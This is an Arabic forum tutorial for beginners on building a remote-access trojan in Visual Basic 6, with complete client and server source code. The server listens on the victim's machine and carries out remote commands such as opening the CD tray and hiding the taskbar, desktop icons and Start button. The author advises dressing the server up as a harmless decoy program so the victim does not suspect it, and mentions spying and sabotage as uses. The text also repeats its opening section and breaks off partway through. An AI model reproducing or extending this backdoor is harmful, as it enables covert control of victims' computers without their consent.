بسم الله الرحمن الرحيم
هذه طريقة عمل برنامج هكر خاص بك
صحيح انه بدائي لكن بداية كل هكر هي التجربة
هذه الطريقة بالتفصيل الممل ومع الأكواد
نبدأ
كل ما يلزم اى فرد يريد تصميمي برنامج هكر بدائى اشياء بسيطه جدا
1- برنامج فجول بيسك
2- المعرف ببدائيات عن برنامج الفجول بيسك وان لم تعرف فكل ما عليك هو ان تاجل قرائة هذا الموضوع لبعض الوقت و انا سوف اضع موضوع اشرح فيه الفجول بيسك للمبتدئين ولاكن هذا الموضوع يحتاج الى بعض الوقت طبعا ( او يمكنك ان تنفذ التعليمات الموجودة فى الشرح بطريقه عمياء و هذا ما انا لا احبه )
اما اذا كنت تريد تصميم برنامج هكر متقدم فكل ما يلزمك هو
1- برنامج فجول بيسك
2- المعرفه بالبنية الأساسية للبرنامج و فهم تصميمه و بدائيات عمله و بعد ذلك العمل على تطوير البرنامج واضافة الجديد له و تطويره و ده طبعا سهل على المحترفين فى الفجول بيسك
بعد ان عرفنا هذا و قد قمنا بكل ما يلزمنا ماهى طريقة تصميم برنامج هكر بدائى ؟
كل الى عليكم هو ان تقومو بالقيام بك خطوة سوف اقوم بها
اول شئ كل ما عليكم فتح برنامج الفجول بيسك و الذى قد حملته مسبقا و سوف نستخدم visual basic 6.0
عند فتح البرنامج سوف تظهر لك الشاشة التالية
بأختيار standard EXE ثم open بهذ الطريقه تكون قد قمت بالبدأ فى البرنامج لأنك بهذه الطريقة قد فتحت برنامج جديد و سوف تظهر لك شاشة الفورم التى سوف بأختيار تقوم سوف ابدأ فى وضع الأزرار و الأشياء الأخرى التى سوف نحتاجها
ولاكن لحظه واحدة فقط هل يمكننا البدأ فى البرنامج دون فهم فكرة عمله ؟ طبعا لأ علشان كده نقف شويه صغيرين علشان نعرف فكرة عمل هذا البرنامج
تتكون برامج الهكر كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم
1-كيفية الاتصال بين الملفين عبر الانترنت
يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip
حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية
بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت
أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً و هذا ما سوف نوضحه اثناء تصميم البرنامج
وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت
في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع
ولعمل برنامج هكر علينا تصميم برنامج يمكنه القيام بالأعمال التاليه
1- بعد معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم يتم إجراء الاتصال
2- ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين
3- يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .
اما بالنسبة لبرنامج الخادم فهو عليه القيام بما يلى
1- يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه
2- إذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين
3-يبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.
اما الأن فقد عرفنا فكرة عمل كل من الجزئين فلنقم بتصميم كل منهم على حذه و نوضح كل كود خاص به
لقد قمت بتصميم البرنامج مسبقا لتوضيح الفكره وسوف تجده مرفق مع الموضوع يمكنك من فتحه و النظر فى الذى انت لم تفهمه و احتى يمكنك تجربته ان لم تصدقنى انه يعمل و على فكرة البرنامج ده انا بعد ما صممته ماحتطوش فى المنتدى كده عميانى انا جربته يعنى حاطط موضوع سليم ان شاء الله 100%
عليك ان تنشئ برنامج تضع فيه الأزرار كما فى الصورة التاليه
لاحظ الأرقام الموجودة على الصورة لأنك سوف تفهم كيفية تسمية كل زرار من الأرقام و ذلك بعد قليل
لا تفكر فى الشكل الأن قم فقط بتصميم البرنامج مثل الشكل التالى و بعد ان تفهم الفكرة قم بما تريد من تصميم او تغير فى الشكل
الأن علينا هو ان نوضح الأسم الذى سوف يكتب لكل زرار او جزء تم وضعه فى البرنامج و الذى سوف يتعرف عليه الكميوتر عند كتابة الأكواد و المكان الذى سوف نكتب فيه الكلمة التى سوف تظهر لنا فى البرنامج و قبل توضيح كل منهما على انفراد احب ان اوضح الأماكن التى سوف تكتب فيها كل من الأوامر و ذلك عن طريق الصورة التالية و التى توضح شريط الخصائص و الذى سوف تجده على يمينك فى البرنامج كل ما عليك هو الضغط على الزرار الذى تريد تغيره و من ثم سوف تلحظ تغير الشريط الخصائص على اساس الزرار المختار
الأن نوضح مسمى كل زرار بالأرقام الموضحة على الصورة فى الأعلى
1- الأمر اتصال ( Connect )
Name : Command1
Caption : Connect
2- الأمر فصل الاتصال ( DesConnectd )
Name : Command2
Caption : Desconnect
3- الأمرفتح السى دى ( Open Cd )
Name Command3
Caption : Open Cd
4- الأمر غلق السى دى ( Close Cd )
Name : Command4
Caption : Close Cd
5- الأمر لأخفاء ايقونات الدسك توب (Hide DESKTOP )
Name : Command5
Caption : Hide DESKTOP
6- الأمر اظهار ايقونات الدسك توب ( Show DESKTOP )
Name : Command6
Caption : Show DESKTOP
7- الأمر لغلق البرنامج (Exit )
Name : Command7
Caption : Exit
8- الأمر اخفاء زر ابدأ (Hide START )
Name : Command8
Caption : Hide START
9- الأمر اظهار زر ابدأ ( Show START )
Name : Command9
Caption : Show START
10- الأمر اخفاء شريط المهام (Hide TASKBAR )
Name : Command10
Caption : Hide TASKBAR
11- الأمر اظهار شريط المهام ( Show TASKBAR )
Name : Command11
Caption : Show TASKBAR
12- الشريط تيكست text لكتابة الأيبى فيه
Name : srvrip
Text: لا نكتب فيها شئ
13- الشريط تيكست text لكتابة المنفذ الذى يدخل عبره
Name : srvrport
Text:و سوف نكتب فيها المنفذ الذى سنستخدمه و هو 9514
14- الخاصية تايمر و التى سوف سوف توضح حالة الأتصال التى نحن عليها
Name : Timer1
15- الخاصية microsoft winsock control 6.0 و التى تعمل على استخدام بروتوكول tcp/ip و هو وسيلة الأتصال بين العميل و الخادم
Name : wskClient
16- الخاصية Label و التى سوف يظهر فيها حالة الأتصال
Name : Status
Caption : اتركها فارغة ولا تكتب فيها شئ
الأن و بعد ان قمنا بتصميم الهيكل الأساسى للبرنامج فاعتقد ان علينا البدأ فى كتابة الأكواد ولاكن ....!!! علينا اولا بالتعرف على الخاصيةwinsock ولا انت اعوز تكمل عميانى وخلاص
هي اداه تستخدم لربط برنامجين مع بعضهما البعض سواء كان هاذان البرنامجان في كمبيوتر واحد ام في كمبيوترين مختلفين وسواءً في شبكة داخلية او خارجية ....
والغرض من هذا الربط هو نقل البيانات من طرف الى طرف آخر وقد يكون الغرض من وراء نقل البيانات هو غرض مفيد او غير مفيد كا التجسس على الآخرين ....
ولكي نبدء بالبرمجة مع هذة الاداه يجب علينا اولاً ان نعرف ما هي الشروط الاساسية والاحتياجات لعملية الربط
اهم هذة الشروط هو معرفة الاي بي IP وهو عبارة عن رقم يقوم مزود الانترنت لديك بمنحك اياه عند دخولك الشبكة
والشرط الثاني هو المنفذ او Port حيث يمكن للبرنامج استخدام اي منفذ الى اكثر من ستين الف منفذ وهو يستخدم للتراسل بين البرامج مثلاً اذا جعلت برنامج في جهاز A وآخر في جهاز B واردت ان يتصل البرنامج A بالبرنامج B يجب عليك اولاً ان تجعل البرنامج B ينتظر الاتصال على منفذ معين مثلاً المنفذ رقم 10000 ثم تجعل البرنامج A يطلب الاتصال بالجهاز الذي يمتلك رقم IP التابع للبرنامج B فيقوم البرنامج بطلب الاتصال عن طريق الاداه السابقة الذكر ولكن قبل ذلك يجب ان تحدد المنفذ الذي تريد الاتصال به والذي يجب ان يكون ايضاً 10000 وعندما يبدء البرنامج A الاتصال على المنفذ المذكور يجد ان البرنامج B منتظراً للاتصال على هذا المنفذ فيحصل بذلك الاتصال وعند هذة النقطة يمكن فعل الكثير ....
واليكم الان بعض من الخواص المهمة في هذة الاداه والتي يجب علينا فهمها قبل كل شيء :
: LocatPort وهو يحدد رقم المنفذ المحلي
LocalIP : يعطي رقم الاي بي المحلي
: RemotePort رقم المنفذ في الجهاز الآخر
: RemoteHost رقم الاي بي للجهاز الآخر
: Protocol نوع الترابط بين البرنامجين ويوجد نوعان نتكلم عنهما لاحقاً
: State يعطي حالة البرنامج الان هل هو متصل ام لا ام منتظر اتصال وهكذا
هذى هى الأوامر التى سوف تستخدمها هذه الأداة الصغيرة
أما الأن فان هذه الاداه تعتبر هى الوحيده التى لم تظهر فى القائمة الخيارات التى على يسار البرنامج فكيف اعمل على أدراجها؟؟!!
وذلك عن طريق النقر على Components من القائمة Project ثم اخيتار العنوان [Microsoft Winsock Control 6.0] من مربع الحوار الذي سيظهر .... وبذلك نكون قد اضفنا الاداة Winsock الى برنامجنا .....
و هذه صورة توضيحية اكثر
بعد الضغط على ok تكون قد ادرجت هذه الخاصية و يمكنك ان تضعها الأن لتكمل الشكل الأساسى للبرنامج
نبدأ الأن بتوضيح الفكرة الأساسية لكل كود سوف يوضع قبل ان اعطيكم النص كامل
بالنسبة لبرنامج العميل فهذا شرح للفكرة الأساسية للأكواد قبل البدأ فى الموضوع
1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text
2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD
3. مراقبة حالة الاتصال wskclient.State = 0
أهم القيم المستخدمة في مراقبة حالة الاتصال
0 " لا يوجد اتصال "
7 " تم الاتصال "
8 " قام الخادم بقطع الاتصال "
9 " خطأ في الاتصال "
اما بالنسبة للخادم او السيرفر
1. تحديد منفذ الاتصال wskServer.LocalPort = 2000
2. إجراء عملية الاتصال wskServer.Listen
3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then
wskServer.Close
wskServer.Accept requestID
End Sub
عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
End Sub
الأن و بعد ان فهمنا الفكرة الأساسية للبرنامج فهل نبدأ لحسن احنا زهقنا من الشرح الطويل ده ؟؟!!
الصبر حلو و الشرح الكبير اكيد فيه الفايده
الأن سوف اكتب كل كود على حذه وسوف اقوم بشرح كل امر فيه تقريبا و العمل الذى سيؤديه هذا السطر
--------------------------------------------
1- الزر الخاص بالأتصال ( Connect )
--------------------------------------------
الكود :
******
كود
Private Sub Command1_Click()
wskClient.Close
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
srvrport.Text = ""
Exit Sub
End If
wskClient.Connect srvrip.Text, srvrport.Text
Command1.Enabled = False
End Sub
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
wskClient.Close
كتب هذا الأمر لأنه يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم الIP فى Label والذى سميناه srvrip فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم IP
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم المنفذ فى Label والذى سميناه srvrport فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم المنفذ
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا كتب رقم المنفذ فى Label والذى سميناه srvrport و لم يكون الرقم المكتوب بين الأرقام 1-65535 فانه سوف يقوم باظهار رسالة خطا توضح للمستخدم انه يجب ان يكتب رقم المنفذ بين الرقمين 1 – 65535
srvrport.Text = ""
كتب هذا الأمر بعد الأمر السابق لكى يمسح رقم المنفذ الذى كتبته خطا ليجعلك تكتب الرقم من جديد
wskClient.Connect srvrip.Text, srvrport.Text
هذا السطر يمثل عملية الإتصال بالخادم
يتم الإتصال بالخادم عن طريق تحديد رقم IP ورقم المنفذ (Port)
عند الضغط على زر "Connect" يتم إجراء الإتصال
Command1.Enabled = False
و هذا الأمر لتعطيل زر "Connect" عند اجراء الاتصال
اظن الأن انه تم توضيح هذه الأوامر
--------------------------------------------
2- الزر الخاص فصل الأتصال ( Desconnect )
--------------------------------------------
الكود
****
كود
Private Sub Command2_Click()
wskClient.Close
Command1.Enabled = True
End Sub
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
wskClient.Close
يعطى الأمرباغلاق الإتصال عند الضغط على زر "Dseconnct"
Command1.Enabled = True
يعمل هذا الأمر على تمكين الزر "Connect" عند قطع الاتصال و الذى الغينا استخدامه من قبل فى عملية الأتصال
--------------------------------------------
3- الزر الخاص بفتح السى دى ( CD Open )
--------------------------------------------
قبل البدأ سوف نلاحظ ان الأمر الموجه فى جميع الخصائص التى سوف نضيفها هى واحده لذا سوف اضعها بالترتيب ثم اقوم بشرح واحد فقط منها
الكود
كود
Private Sub Command3_Click()
On Error Resume Next
wskclient.SendData "openCD"
End Sub
--------------------------------------------
4- الزر الخاص اغلاق السى دى ( CD Close )
--------------------------------------------
كود
Private Sub Command4_Click()
On Error Resume Next
wskclient.SendData "closeCD"
End Sub
--------------------------------------------
5- الزر الخاص اخفاء ايقونات سطح المكتب (Hide DESKTOP )
--------------------------------------------
كود
Private Sub Command5_Click()
On Error Resume Next
wskclient.SendData "hideDESKTOP"
End Sub
--------------------------------------------
6- الزر الخاص اظهار ايقونات سطح المكتب (Show DESKTOP )
--------------------------------------------
كود
Private Sub Command6_Click()
On Error Resume Next
wskclient.SendData "showDESKTOP"
End Sub
--------------------------------------------
7- الزر الخاص اخفاء زر ابداء (Hide START )
--------------------------------------------
انشئ زر واسمه اخفاء زر ابداء
واكتب هذا الكود
كود
Private Sub Command8_Click()
On Error Resume Next
wskclient.SendData "hideSTART"
End Sub
--------------------------------------------
8- الزر الخاص اظهار زر ابداء (Show START )
--------------------------------------------
كود
Private Sub Command9_Click()
On Error Resume Next
wskclient.SendData "showSTART"
End Sub
--------------------------------------------
9- الزر الخاص اخفاء شريط المهام (Hide TASKBAR)
--------------------------------------------
كود
Private Sub Command10_Click()
On Error Resume Next
wskclient.SendData "hideTASKBAR"
End Sub
--------------------------------------------
10- الزر الخاص اظهار شريط المهام (Show TASKBAR)
--------------------------------------------
كود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub
يجب عليك اولا الأهتمام باسم كل زرار و الذى ليس الأسم الذى يظهر لك ولاكنى اقصد الأسم الذى سيتعرف عليه الكمبيوتر عند تنفيذ الأوامر السابقة و الذى يوضع تحت العنوان Name فى قائمة الخصائص
اما الأن فناخذ كود واحد منهم و نشرحه
*************************
كود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub
الجزء الأول فيه
On Error Resume Next
يعنى اذا حدث خطا فى الأمر الذى يصدره هذا الزرار فلن يصدر اى شكوه و يستمر فى عمله مرة اخرى و ينظر فى الذى يلى هذا الأمر الخطأ
wskclient.SendData "showTASKBAR"
و يعطى هذا الأمر بان يصدر برنامج العميل الى ملف الخادم الكود الخاص باخفاء شريط المهام و لايتعدى هنا كونه كلمه فى هذا البرنامج العميل ولاكن عند ارساله الى ملف الخادم فانه سوف يقوم بترجمته بعد وضع ترجمه فى ملف الخادم بالأعمال التى سيقوم بها و سيقوم بتحويل هذه الكلمة عديمة الفائدة الى امر قاتل
--------------------------------------------
11- الزر الخاص بالأغلاق (Exit)
--------------------------------------------
الكود
*****
كود
Private Sub Command7_Click()
wskClient.Close
End
End Sub
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
wskClient.Close
يعطى هذا الأمر للبرنامج لفصل الأتصال بالخادم
End
يعطى هذا الأمر للبرنامج بان نفسه اى ينهى عمل البرنامج
اى سيكون عمل هذا الزرار هو غلق الأتصال ثم غلق البرنامج
--------------------------------------------
11- التيمير (timer)
--------------------------------------------
اخر شئ سيتم و هو فائدة عمل التيمر و هو كما قلت سابقا و هو لكى يخبرك بالحالة التى انت عليها اذا كنت متصل ام لا او غيرها
الكود
****
كود
Private Sub Timer1_Timer()
If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"
If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"
If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"
If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"
If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"
If wskClient.State <> sckConnected Then
Status.Caption = "لايوجد إتصال"
End If
End Sub
و لتوضيح فكرة عمل هذا الكود فهو ينظر الى حالة الأتصال فاذا كان متصل مثلا فانه يعطى للـLabel و المسمى باسم Status امر بان يكتب تم الأتصال مع الخادم و هاكذا فى جميع الحالات
اتمنى ان اكون قد انتهيت من الجزء الأول من الشرح بنجاح و سوف اضع الأكواد كلها بالترتيب الموجود فى البرنامج و كلها و التى قد فسرناها كلها بالتفصيل
**********************
الأكواد الخاصة ببرنامج العميل
**********************
كود
Private Sub Command1_Click()
wskClient.Close
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
srvrport.Text = ""
Exit Sub
End If
wskClient.Connect srvrip.Text, srvrport.Text
Command1.Enabled = False
End Sub
Private Sub Command10_Click()
On Error Resume Next
wskClient.SendData "hideTASKBAR"
End Sub
Private Sub Command11_Click()
On Error Resume Next
wskClient.SendData "showTASKBAR"
End Sub
Private Sub Command2_Click()
wskClient.Close
Command1.Enabled = True
End Sub
Private Sub Command3_Click()
On Error Resume Next
wskClient.SendData "openCD"
End Sub
Private Sub Command4_Click()
On Error Resume Next
wskClient.SendData "closeCD"
End Sub
Private Sub Command5_Click()
On Error Resume Next
wskClient.SendData "hideDESKTOP"
End Sub
Private Sub Command6_Click()
On Error Resume Next
wskClient.SendData "showDESKTOP"
End Sub
Private Sub Command7_Click()
wskClient.Close
End
End Sub
Private Sub Command8_Click()
On Error Resume Next
wskClient.SendData "hideSTART"
End Sub
Private Sub Command9_Click()
On Error Resume Next
wskClient.SendData "showSTART"
End Sub
Private Sub Form_Load()
srvrip.Text = wskClient.LocalIP
End Sub
Private Sub Timer1_Timer()
If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"
If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"
If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"
If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"
If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"
If wskClient.State <> sckConnected Then
Status.Caption = "لايوجد إتصال"
End If
End Sub
اخيرا
انتهينا من البرنامج العميل صح ولاكن ما نفعه من دون برنامج الخادم ؟؟!!
طبعا بدون برنامج الخادم الخاص به فلن يؤدى اى نفع لذا سوف اقوم بشرح تفصيلى اخر عن الخادم
***يتبع***
----------------------------
نبدأ و اعتقد اننا فهمنا فكرة عمل الخادم و كل ما نحن نحتاجه فى هذا
اغلق برنامج العميل و الذى قد قمت بتصميمه من قبل و طبعا بعد ما تحفظه
افتح مشروع عمل جديد و ذلك بنفس الطريقة التى قمنا بها سابقا فى العمل على برنامج العميل
ولاكن هنا تختلف الأشياء التى سوف نقوم بصنعها فمثلا نحن اولا سوف نقوم بالعمل على جزئين و هما الفورم ( Form ) و المديول ( Modules ) و طبعا انت تعرف فى برنامج الفجول بيسك يعنى مش محتاج اعرفك على كل منهم
اولا سوف يكون العمل فى اول شئ فى الفورم
علينا بتكوين الهيكل الرئيسى للخادم قم بالعمل مثل الصورة التاليه
بعد تصميم الملف سوف تلحظ انك لن تقوم بتصميم اى شئ سوى انك سوف تضع Label ستسميه باى اسم و تكتب فيه الى انت عاوزه و احنا حطيناه حتى لا يشك العميل فى انك ارسلت له برنامج ليس له لزمه و يمكنك ان تنشاء فى هذا الملف الخادم برنامج كامل لكى تجذب انتباه الضحيه كمثل برنامج رسم انت تعرف طريقة تصميمه او اى شئ اخر و ذلك لجعل الملف الخادم ليس مكشوف للضحية
اما ثانى شئ و هو الأهم و هو خاصية winsock و التى سوف نسميها هنا باسم اخر غير الأسم الذى سمناها فى الملف العميل و سوف نجعل خاصية الـName تحمل الأسم wskServer
هكذا نكون قد انهاينا الشكل الخارجى و طبعا مش محتاج اوضح طريقة ادراج winsock
نبدا بوضع الأكواد و محاولة شرح الى نقدر عليه
--------------------------
فى الفورم ( Form ) :
--------------------------
الكود
****
كود
Private Sub Form_Load()
wskServer.LocalPort = 9514
wskServer.Listen
TaskBarHwnd = FindWindow("Shell_traywnd", "")
End Sub
نبدأ الأن بشرح بالتفصيل
****************
نوضح اولا ان اسم اداة الوينسوكت في هذا البرنامج wskServer
wskServer.LocalPort = 9514
و هو لتحديد المنفذ الذى سوف يقوم الخادم بفتحه لدى الضحيه ليسمح لك بالدخول و قد وضعناه هنا الرقم 9514 و يمكنك طبعا ان تغيره ولاكن مع تغيره يجب عليك بكتابته فى برنامج العميل اثناء الأتصال
wskServer.Listen
يعلن هذا الأمر عن بدأ الأتصال بالعميل
TaskBarHwnd = FindWindow("Shell_traywnd", "")
يقوم البرنامج بتحديد تعريف شريط المهام
--------------------------
فى اداة الأتصال (winsock ) :
--------------------------
سوف نضع فى هذه الخاصية نوعين من الأكواد احدهما لتقبل عملية الأتصال و الأخر للتعريف بالأوامر التى سوف يتلقاها بعد الأتصال فلنعرض الأن الكودين و نوضح كل ما نستطيع عنهما
الكود الأول :
********
كود
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Close
wskServer.Accept requestID
End Sub
تم وضع هذا الكود لتقبل عملية الأتصال التى قامت بين الخادم و العميل
الكود الثانى :
*********
كود
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
Select Case command
Case "openCD"
CDOpen
Case "closeCD"
CDClose
Case "hideDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Case "showDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Case "hideSTART"
HideStartButton
Case "showSTART"
ShowStartButton
Case "hideTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Case "showTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
End Select
End Sub
يعتبر هذا الكود الطريقة التىيمر بها الأمر القادم من العميل لترجمته فى ملف الخادم لأستخدامه فى الأختراق و سوف يكون هناك مرحلة ثانية لترجمه الأمر و هى عن طريق المديول و سوف نشرحها بعد قليل
ايه رايكم لم نشرح الكود السابق بمذيد من الدقه
*****************************
Dim command As String
يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل
wskServer.GetData command
يمثل هذا الأمر استقبال المتغير للاوامر القادمة من العميل
Select Case command
يستخدم هذا الأمر لتحديد الأمر القادم من البرنامج العميل
Case "openCD"
يعطى هذه الدالة اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي
CDOpen
و نفس هذا الأمر ينطبق على جميع الأوامر التى يتكون منها الكود السابق لذا لا داعى لشرحها مجددا
يبقى لدينا الأن فى هذا الملف الخادم طرق كتابة الكود فى المديول و شرحه بالتفصيل ولاكن قبل ذلك يجب ان اضع لكم الأكواد كلها و الخاصة بالفورم طبعا قبل البدأ فى شرح المديول
الأكواد
******
كود
Private Sub Form_Load()
wskServer.LocalPort = 9514
wskServer.Listen
TaskBarHwnd = FindWindow("Shell_traywnd", "")
End Sub
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Close
wskServer.Accept requestID
End Sub
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
Select Case command
Case "openCD"
CDOpen
Case "closeCD"
CDClose
Case "hideDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Case "showDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Case "hideSTART"
HideStartButton
Case "showSTART"
ShowStartButton
Case "hideTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Case "showTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
End Select
End Sub
هذه طريقة عمل برنامج هكر خاص بك
صحيح انه بدائي لكن بداية كل هكر هي التجربة
هذه الطريقة بالتفصيل الممل ومع الأكواد
نبدأ
كل ما يلزم اى فرد يريد تصميمي برنامج هكر بدائى اشياء بسيطه جدا
1- برنامج فجول بيسك
2- المعرف ببدائيات عن برنامج الفجول بيسك وان لم تعرف فكل ما عليك هو ان تاجل قرائة هذا الموضوع لبعض الوقت و انا سوف اضع موضوع اشرح فيه الفجول بيسك للمبتدئين ولاكن هذا الموضوع يحتاج الى بعض الوقت طبعا ( او يمكنك ان تنفذ التعليمات الموجودة فى الشرح بطريقه عمياء و هذا ما انا لا احبه )
اما اذا كنت تريد تصميم برنامج هكر متقدم فكل ما يلزمك هو
1- برنامج فجول بيسك
2- المعرفه بالبنية الأساسية للبرنامج و فهم تصميمه و بدائيات عمله و بعد ذلك العمل على تطوير البرنامج واضافة الجديد له و تطويره و ده طبعا سهل على المحترفين فى الفجول بيسك
بعد ان عرفنا هذا و قد قمنا بكل ما يلزمنا ماهى طريقة تصميم برنامج هكر بدائى ؟
كل الى عليكم هو ان تقومو بالقيام بك خطوة سوف اقوم بها
اول شئ كل ما عليكم فتح برنامج الفجول بيسك و الذى قد حملته مسبقا و سوف نستخدم visual basic 6.0
عند فتح البرنامج سوف تظهر لك الشاشة التالية
بأختيار standard EXE ثم open بهذ الطريقه تكون قد قمت بالبدأ فى البرنامج لأنك بهذه الطريقة قد فتحت برنامج جديد و سوف تظهر لك شاشة الفورم التى سوف بأختيار تقوم سوف ابدأ فى وضع الأزرار و الأشياء الأخرى التى سوف نحتاجها
ولاكن لحظه واحدة فقط هل يمكننا البدأ فى البرنامج دون فهم فكرة عمله ؟ طبعا لأ علشان كده نقف شويه صغيرين علشان نعرف فكرة عمل هذا البرنامج
تتكون برامج الهكر كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم
1-كيفية الاتصال بين الملفين عبر الانترنت
يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip
حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية
بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت
أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً و هذا ما سوف نوضحه اثناء تصميم البرنامج
وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت
